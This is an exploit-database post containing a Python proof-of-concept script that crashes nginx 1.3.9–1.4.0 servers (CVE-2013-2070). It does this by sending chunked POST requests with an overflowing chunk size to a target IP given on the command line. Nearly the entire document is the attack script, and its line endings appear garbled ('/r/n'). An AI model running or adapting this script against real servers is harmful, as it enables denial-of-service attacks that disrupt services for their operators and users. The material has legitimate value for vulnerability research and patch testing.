# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) # Google Dork: CVE-2013-2070 # Date: 16.05.2013 # Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com # Vendor Homepage: http://nginx.org/ # Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz # Version: 1.3.9-1.4.0 # Tested on: Kali Linux & nginx v1.4.0 # CVE : CVE-2013-2070 import httplib import time import socket import sys import os # Vars & Defs debug = 0 dos_packet = 0xFFFFFFFFFFFFFFEC socket.setdefaulttimeout(1) packet = 0 def chunk(data, chunk_size): chunked = "" chunked += "%s/r/n" % (chunk_size) chunked += "%s/r/n" % (data) chunked += "0/r/n/r/n" return chunked if sys.platform == 'linux-i386' or sys.platform == 'linux2': os.system("clear") elif sys.platform == 'win32': os.system("cls") else: os.system("cls") print "======================================================================" print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]" print "======================================================================" if len(sys.argv) < 2: print "Usage: python nginx_dos.py [target ip]/n" print "Example: python nginx_dos.py 127.0.0.1/n" sys.exit(1) else: host = sys.argv[1].lower() while packet <= 5: body = "Mert SARICA" chunk_size = hex(dos_packet + 1)[3:] chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper() if debug: print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)] try: con = httplib.HTTPConnection(host) url = "/mertsarica.php" con.putrequest('POST', url) con.putheader('User-Agent', "curl/7.30.0") con.putheader('Accept', "*/*") con.putheader('Transfer-Encoding', 'chunked') con.putheader('Content-Type', "application/x-www-form-urlencoded") con.endheaders() con.send(chunk(body, chunk_size[:len(chunk_size)])) except: print "Connection error!" sys.exit(1) try: resp = con.getresponse() print(resp.status, resp.reason) except: print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)" packet = packet + 1 con.close() print "[+] Done!" # 31E51E1F90E5BF6C 1337day.com [2013-05-22] A721CB21137F172F #
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